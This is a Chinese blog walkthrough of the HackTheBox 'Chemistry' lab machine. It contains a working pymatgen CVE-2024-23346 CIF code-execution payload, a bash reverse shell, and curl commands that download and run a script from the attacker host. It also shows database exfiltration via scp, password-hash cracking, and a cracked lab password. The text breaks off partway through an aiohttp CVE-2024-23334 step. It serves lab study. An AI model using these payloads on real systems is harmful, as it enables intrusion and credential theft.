{"id":203,"date":"2024-11-13T11:08:14","date_gmt":"2024-11-13T03:08:14","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=203"},"modified":"2024-11-13T11:08:14","modified_gmt":"2024-11-13T03:08:14","slug":"203","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/203\/","title":{"rendered":"HTB\u9776\u673a Chemistry \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.11.38<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.11.38 (10.10.11.38) 56(84) bytes of data.\n64 bytes from 10.10.11.38: icmp_seq=1 ttl=63 time=247 ms\n64 bytes from 10.10.11.38: icmp_seq=2 ttl=63 time=254 ms\n64 bytes from 10.10.11.38: icmp_seq=3 ttl=63 time=247 ms\n64 bytes from 10.10.11.38: icmp_seq=4 ttl=63 time=252 ms\n\n--- 10.10.11.38 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3245ms\nrtt min\/avg\/max\/mdev = 246.840\/250.025\/253.919\/3.097 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Wed Oct 23 10:37:34 2024 as: nmap -sF -p- --min-rate 4000 -oN .\/fin_result.txt 10.10.11.38\nNmap scan report for 10.10.11.38\nHost is up (0.25s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT     STATE         SERVICE\n22\/tcp   open|filtered ssh\n5000\/tcp open|filtered upnp\n\n# Nmap done at Wed Oct 23 10:37:56 2024 -- 1 IP address (1 host up) scanned in 22.48 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Wed Oct 23 10:53:11 2024 as: nmap -sS -sV -A -p 22,5000 -oN .\/tcp_result.txt 10.10.11.38\nNmap scan report for 10.10.11.38\nHost is up (0.25s latency).\n\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)\n|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)\n|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)\n5000\/tcp open  upnp?\n| fingerprint-strings: \n|   GetRequest: \n|     HTTP\/1.1 200 OK\n|     Server: Werkzeug\/3.0.3 Python\/3.9.5\n|     Date: Wed, 23 Oct 2024 02:53:24 GMT\n|     Content-Type: text\/html; charset=utf-8\n|     Content-Length: 719\n|     Vary: Cookie\n|     Connection: close\n|     &lt;!DOCTYPE html&gt;\n|     &lt;html lang=\"en\"&gt;\n|     &lt;head&gt;\n|     &lt;meta charset=\"UTF-8\"&gt;\n|     &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;\n|     &lt;title&gt;Chemistry - Home&lt;\/title&gt;\n|     &lt;link rel=\"stylesheet\" href=\"\/static\/styles.css\"&gt;\n|     &lt;\/head&gt;\n|     &lt;body&gt;\n|     &lt;div class=\"container\"&gt;\n|     class=\"title\"&gt;Chemistry CIF Analyzer&lt;\/h1&gt;\n|     &lt;p&gt;Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.&lt;\/p&gt;\n|     &lt;div class=\"buttons\"&gt;\n|     &lt;center&gt;&lt;a href=\"\/login\" class=\"btn\"&gt;Login&lt;\/a&gt;\n|     href=\"\/register\" class=\"btn\"&gt;Register&lt;\/a&gt;&lt;\/center&gt;\n|     &lt;\/div&gt;\n|     &lt;\/div&gt;\n|     &lt;\/body&gt;\n|   RTSPRequest: \n|     &lt;!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01\/\/EN\"\n|     \"http:\/\/www.w3.org\/TR\/html4\/strict.dtd\"&gt;\n|     &lt;html&gt;\n|     &lt;head&gt;\n|     &lt;meta http-equiv=\"Content-Type\" content=\"text\/html;charset=utf-8\"&gt;\n|     &lt;title&gt;Error response&lt;\/title&gt;\n|     &lt;\/head&gt;\n|     &lt;body&gt;\n|     &lt;h1&gt;Error response&lt;\/h1&gt;\n|     &lt;p&gt;Error code: 400&lt;\/p&gt;\n|     &lt;p&gt;Message: Bad request version ('RTSP\/1.0').&lt;\/p&gt;\n|     &lt;p&gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&lt;\/p&gt;\n|     &lt;\/body&gt;\n|_    &lt;\/html&gt;\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port5000-TCP:V=7.94SVN%I=7%D=10\/23%Time=6718651F%P=x86_64-pc-linux-gnu%\nSF:r(GetRequest,38A,\"HTTP\/1.1x20200x20OKrnServer:x20Werkzeug\/3.0.3\nSF:x20Python\/3.9.5rnDate:x20Wed,x2023x20Octx202024x2002:53:24x2\nSF:0GMTrnContent-Type:x20text\/html;x20charset=utf-8rnContent-Length:\nSF:x20719rnVary:x20CookiernConnection:x20closernrn&lt;!DOCTYPEx20\nSF:html&gt;n&lt;htmlx20lang=\"en\"&gt;n&lt;head&gt;nx20x20x20x20&lt;metax20charset=\nSF:\"UTF-8\"&gt;nx20x20x20x20&lt;metax20name=\"viewport\"x20content=\"wid\nSF:th=device-width,x20initial-scale=1.0\"&gt;nx20x20x20x20&lt;title&gt;Chemi\nSF:stryx20-x20Home&lt;\/title&gt;nx20x20x20x20&lt;linkx20rel=\"stylesheet\"\nSF:x20href=\"\/static\/styles.css\"&gt;n&lt;\/head&gt;n&lt;body&gt;nx20x20x20x20nx\nSF:20x20x20x20x20x20nx20x20x20x20nx20x20x20x20&lt;divx20class\nSF:=\"container\"&gt;nx20x20x20x20x20x20x20x20&lt;h1x20class=\"title\"\nSF:&gt;Chemistryx20CIFx20Analyzer&lt;\/h1&gt;nx20x20x20x20x20x20x20x20&lt;p&gt;\nSF:Welcomex20tox20thex20Chemistryx20CIFx20Analyzer.x20Thisx20tool\nSF:x20allowsx20youx20tox20uploadx20ax20CIFx20(Crystallographicx20I\nSF:nformationx20File)x20andx20analyzex20thex20structuralx20datax20\nSF:containedx20within.&lt;\/p&gt;nx20x20x20x20x20x20x20x20&lt;divx20clas\nSF:s=\"buttons\"&gt;nx20x20x20x20x20x20x20x20x20x20x20x20&lt;center\nSF:&gt;&lt;ax20href=\"\/login\"x20class=\"btn\"&gt;Login&lt;\/a&gt;nx20x20x20x20x20\nSF:x20x20x20x20x20x20x20&lt;ax20href=\"\/register\"x20class=\"btn\"&gt;R\nSF:egister&lt;\/a&gt;&lt;\/center&gt;nx20x20x20x20x20x20x20x20&lt;\/div&gt;nx20x20\nSF:x20x20&lt;\/div&gt;n&lt;\/body&gt;n&lt;\")%r(RTSPRequest,1F4,\"&lt;!DOCTYPEx20HTMLx20PUB\nSF:LICx20\"-\/\/W3C\/\/DTDx20HTMLx204.01\/\/EN\"nx20x20x20x20x20x20x\nSF:20x20\"http:\/\/www.w3.org\/TR\/html4\/strict.dtd\"&gt;n&lt;html&gt;nx20x20x\nSF:20x20&lt;head&gt;nx20x20x20x20x20x20x20x20&lt;metax20http-equiv=\"Con\nSF:tent-Type\"x20content=\"text\/html;charset=utf-8\"&gt;nx20x20x20x20x\nSF:20x20x20x20&lt;title&gt;Errorx20response&lt;\/title&gt;nx20x20x20x20&lt;\/head&gt;\nSF:nx20x20x20x20&lt;body&gt;nx20x20x20x20x20x20x20x20&lt;h1&gt;Errorx20\nSF:response&lt;\/h1&gt;nx20x20x20x20x20x20x20x20&lt;p&gt;Errorx20code:x20400\nSF:&lt;\/p&gt;nx20x20x20x20x20x20x20x20&lt;p&gt;Message:x20Badx20requestx20\nSF:versionx20('RTSP\/1.0').&lt;\/p&gt;nx20x20x20x20x20x20x20x20&lt;p&gt;Er\nSF:rorx20codex20explanation:x20HTTPStatus.BAD_REQUESTx20-x20Badx20r\nSF:equestx20syntaxx20orx20unsupportedx20method.&lt;\/p&gt;nx20x20x20x20\nSF:&lt;\/body&gt;n&lt;\/html&gt;n\");\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.0 (96%), Linux 5.3 - 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 5.0 - 5.5 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   248.10 ms 10.10.14.1\n2   248.23 ms 10.10.11.38\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Wed Oct 23 10:55:22 2024 -- 1 IP address (1 host up) scanned in 130.77 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Wed Oct 23 10:42:58 2024 as: nmap -sU -p- --min-rate 4000 -oN .\/udp_ports.txt 10.10.11.38\nWarning: 10.10.11.38 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.38\nHost is up (0.29s latency).\nAll 65535 scanned ports on 10.10.11.38 are in ignored states.\nNot shown: 65351 open|filtered udp ports (no-response), 184 closed udp ports (port-unreach)\n\n# Nmap done at Wed Oct 23 10:46:01 2024 -- 1 IP address (1 host up) scanned in 183.35 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u7591\u4f3c\u4e3a<code>Ubuntu Linux<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/chemistry]\n\u2514\u2500# nc -nv 10.10.11.38 22\n(UNKNOWN) [10.10.11.38] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff085000\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/chemistry.htb:5000\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729652845818-77ce2189-1b17-4a11-ae2d-31e4488b8fbf.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u6ce8\u518c\u7528\u6237\u540d\uff0c\u8df3\u8f6c\u5230\u4e86<code>\/register<\/code>\u9875\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729653155050-32745741-fbbf-4508-9b10-aab88357c277.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u968f\u610f\u6ce8\u518c\u4e86\u4e00\u4e2a\u7528\u6237\u540d\uff0c\u7136\u540e\u76f4\u63a5\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729653951924-c33fd414-dd3e-49b6-98a5-634d8245d33b.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u754c\u9762\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u4e86\u793a\u4f8b\u4e2d\u7684<code>CIF<\/code>\u6587\u4ef6\uff0c\u70b9\u51fb\u8bbf\u95ee\uff0c\u53d1\u73b0\u8be5\u7ad9\u70b9\u901a\u8fc7\u6587\u4ef6<code>ID<\/code>\u6765\u5bf9\u6587\u4ef6\u8fdb\u884c\u89e3\u6790\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729654080225-56cd3e97-457a-4f0c-9f4f-557bcefddf49.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Wed Oct 23 11:57:22 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/chemistry.htb:5000 -x 400,403,404 -e py,pyc,txt,zip,tar.gz,js,html,pcap,cif -t 60\n\n302   235B   http:\/\/chemistry.htb:5000\/dashboard    -&gt; REDIRECTS TO: \/login?next=%2Fdashboard\n200     1KB  http:\/\/chemistry.htb:5000\/login\n302   229B   http:\/\/chemistry.htb:5000\/logout    -&gt; REDIRECTS TO: \/login?next=%2Flogout\n200     1KB  http:\/\/chemistry.htb:5000\/register\n405   153B   http:\/\/chemistry.htb:5000\/upload<\/code><\/pre>\n<p>\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\uff0c\u5c1d\u8bd5\u5bf9\u767b\u5f55\u548c\u6ce8\u518c\u9875\u9762\u8fdb\u884c<code>SQL<\/code>\u6ce8\u5165\uff0c\u5931\u8d25\uff0c\u5c1d\u8bd5\u5bf9<code>CIF<\/code>\u4e0a\u4f20\u754c\u9762\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6d4b\u8bd5\uff0c\u53d1\u73b0\u8be5\u9875\u9762\u63a5\u6536\u6587\u4ef6\u4e0a\u4f20\u65f6\u4f1a\u5c06\u5982<code>&lt;&gt;'\".\/<\/code>\u4e4b\u7c7b\u7684\u7b26\u53f7\u9010\u4e00\u5220\u9664\uff0c\u800c\u4e14\u53ea\u80fd\u901a\u8fc7\u6587\u4ef6<code>ID<\/code>\u5bf9\u6587\u4ef6\u5185\u5bb9\u8fdb\u884c\u89e3\u6790\u8bbf\u95ee\uff0c\u89e3\u6790<code>CIF<\/code>\u6587\u4ef6\u65f6\u8fd8\u4f1a\u68c0\u67e5\u5176\u683c\u5f0f\uff0c\u65e0\u6cd5\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Pymatgen\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5bf9\u9776\u673a\u7f51\u7ad9\u8fdb\u884c\u5927\u91cf\u679a\u4e3e\u540e\uff0c\u4ecd\u672a\u53d1\u73b0\u53ef\u5229\u7528\u70b9\uff0c\u4e8e\u662f\u5c06\u91cd\u5fc3\u8f6c\u5411\u4e86\u5904\u7406<code>CIF<\/code>\u5316\u5b66\u6676\u4f53\u4fe1\u606f\u7684<code>Python<\/code>\u5e93\u3002\u901a\u8fc7\u8054\u7f51\u641c\u7d22\uff0c\u53d1\u73b0\u5728<code>Python<\/code>\u4e2d\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u4e24\u79cd\u5e93\u5904\u7406<code>CIF<\/code>\u6587\u4ef6\uff1a<code>PyCifRW<\/code>\u548c<code>pymatgen<\/code>\uff0c\u5176\u4e2d\uff0c<code>pymatgen v2024.2.8<\/code>\u7248\u672c\u548c\u4e4b\u524d\u7248\u672c\u5b58\u5728\u4e25\u91cd\u7684\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3a<code>CVE-2024-23346<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729735489232-6e9e6191-bc2c-4874-8909-1a0d7d8bd21c.png\" alt=\"\" \/><\/p>\n<p><code>EXP<\/code>\u4e3a<code>CIF<\/code>\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">data_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n'  m  a'  \"<\/code><\/pre>\n<p>\u800c\u5bf9\u4e8e\u9776\u673a\uff0c\u53ef\u4ee5\u4f7f\u7528\u901a\u8fc7<code>wget<\/code>\u547d\u4ee4\u4e0b\u8f7d\u53cd\u5f39Shell\u811a\u672c\uff0c\u968f\u540e\u6267\u884c\u7684\u65b9\u6cd5\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-bash\">#! \/bin\/bash\n\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.7\/443 0&gt;&amp;1'<\/code><\/pre>\n<p>\u5c06\u6267\u884c\u7684\u547d\u4ee4\u6539\u4e3a\uff1a(\u547d\u4ee4\u5206<code>3<\/code>\u6b21\u6267\u884c\uff0c\u4e0a\u4f20<code>3<\/code>\u6b21\u6076\u610f\u6587\u4ef6)<\/p>\n<pre><code class=\"language-shell\">curl http:\/\/10.10.14.7\/reverse.sh -o \/tmp\/reverse.sh\nchmod +x \/tmp\/reverse.sh\n\/tmp\/reverse.sh<\/code><\/pre>\n<p>\u968f\u540e\u4e0a\u4f20<code>CIF<\/code>\u6587\u4ef6\uff0c\u5e76\u4f9d\u6b21\u70b9\u51fb<code>View<\/code>\u6309\u94ae\u89e3\u6790\u6076\u610f<code>CIF<\/code>\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729736900195-1f9f3284-43b1-4c96-8f3b-d6bb0304740b.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u63a2\u67e5SQLite\u6570\u636e\u5e93<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u67e5\u770b<code>app.py<\/code>\u6587\u4ef6\uff0c\u5728\u6587\u4ef6\u5934\u90e8\u53d1\u73b0\u4e86<code>SQLite<\/code>\u6570\u636e\u5e93\u7684\u8fde\u63a5\u5bc6\u7801\uff1a<code>MyS3cretCh3mistry4PP<\/code><\/p>\n<pre><code class=\"language-python\">from flask import Flask, render_template, request, redirect, url_for, flash\nfrom werkzeug.utils import secure_filename\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user\nfrom pymatgen.io.cif import CifParser\nimport hashlib\nimport os\nimport uuid\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:\/\/\/database.db'\napp.config['UPLOAD_FOLDER'] = 'uploads\/'\napp.config['ALLOWED_EXTENSIONS'] = {'cif'}<\/code><\/pre>\n<p>\u5e76\u4e14\u5728<code>\/home\/app\/instance\/<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u4e86<code>database.db<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729738504871-7b91eff3-82a0-4899-b92b-a16a2c57b302.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>scp<\/code>\u547d\u4ee4\u5c06\u5176\u4f20\u8f93\u5230\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-shell\">scp -P 22222 \/home\/app\/instance\/database.db megumin@10.10.14.7:\/home\/megumin\/Documents\/pentest_notes\/chemistry\/database.db<\/code><\/pre>\n<p>\u6253\u5f00<code>SQLite Browser<\/code>\uff0c\u67e5\u770b\u5e93\u4e2d\u7684<code>user<\/code>\u8868\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729769487620-8dbd829c-929c-426d-a810-67501874b995.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u5230<code>SQLite<\/code>\u6570\u636e\u5e93\u4e2d\u5b58\u5728<code>rosa<\/code>\u7528\u6237\u3002\u5c1d\u8bd5\u5728\u7ebf\u7834\u89e3\u5176\u54c8\u5e0c\u503c\uff0c\u5931\u8d25\u3002\u76f4\u63a5\u4f7f\u7528<code>hashcat<\/code>\u5de5\u5177\u7834\u89e3\uff08\u5b57\u5178\u4f7f\u7528<code>rockyou.txt<\/code>\uff09\uff1a<\/p>\n<pre><code class=\"language-shell\">hashcat -m 0 -a 0 .\/hash_rosa.txt \/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729834624345-148e0c87-b4c5-400b-85f4-3aeed035e794.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u7834\u89e3\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>rosa<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>unicorniosrosados<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff0c\u6210\u529f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729834765086-49a249f4-44fe-4c39-ba00-795c3cb76d2c.png\" alt=\"\" \/><\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740714047-10cfaf26-6358-497d-a696-4d8c786af716.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740719555-a7bccd53-b812-4dc1-84b1-6ec336a734b2.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740724962-90df2f11-4adc-46df-814d-fb540015d38e.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740731636-eb177ff4-b819-48de-9248-d454ec8d45b0.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740739137-d0ebc682-9e97-4dc4-a842-6e7b768b8e8a.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740744687-057c5cf6-d252-4c44-956f-4212653b8430.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740751449-8e8faf15-5db1-4bff-b6c3-f898edafd50b.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729770037897-878d6c5a-5609-4439-8167-b28e6d3ef540.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729740762950-595220e7-b3a5-4161-936e-f9f7a4068fb5.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673a\u5bf9\u672c\u5730\u5f00\u653e\u4e86\u7aef\u53e3<code>8080<\/code>\uff0c\u5e76\u4f7f\u7528<code>Python3<\/code>\u8fd0\u884c\u4e86<code>\/opt\/monitoring_site\/app.py<\/code>\uff0c\u51b3\u5b9a\u4ece\u8be5\u7aef\u53e3\u5165\u624b\u63d0\u6743\u3002<\/p>\n<p>\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u5c06<code>8080\/tcp<\/code>\u7aef\u53e3\u8f6c\u53d1\u5230\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh -L 8080:127.0.0.1:8080 -N -f rosa@10.10.11.38<\/code><\/pre>\n<h2>8080\u7aef\u53e3\u6e17\u900f<\/h2>\n<p>\u4f7f\u7528<code>Nmap<\/code>\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Oct 24 21:12:12 2024 as: nmap -sS -sV -A -p 8080 -oN .\/tcp8080_result.txt 127.0.0.1\nNmap scan report for localhost (127.0.0.1)\nHost is up (0.000073s latency).\n\nPORT     STATE SERVICE VERSION\n8080\/tcp open  http    aiohttp 3.9.1 (Python 3.9)\n|_http-title: Site Monitoring\n|_http-server-header: Python\/3.9 aiohttp\/3.9.1\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 - 5.7 (96%), Linux 3.8 - 4.14 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.7 - 3.11 (94%), Linux 2.6.32 (93%), Linux 3.7 - 3.10 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 0 hops\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Oct 24 21:12:36 2024 -- 1 IP address (1 host up) scanned in 23.76 seconds<\/code><\/pre>\n<p>\u53d1\u73b0\u8be5\u7aef\u53e3\u8fd0\u884c<code>Python HTTP<\/code>\u670d\u52a1\uff0c\u5e76\u4e14\u4f7f\u7528\u4e86<code>aiohttp v3.9.1<\/code>\u6846\u67b6\u3002<\/p>\n<p>\u8054\u7f51\u67e5\u8be2\u8be5\u6846\u67b6\uff0c\u53d1\u73b0\u5176\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3a<code>CVE-2024-23334<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729835958207-6e5916be-cecd-4eaa-ad9d-7ba1bd8348a4.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u6253\u5f00\u7f51\u5740\uff1a<code>http:\/\/127.0.0.1:8080\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729836034580-0674c777-9fb8-49bf-9619-2bbfca32690c.png\" alt=\"\" 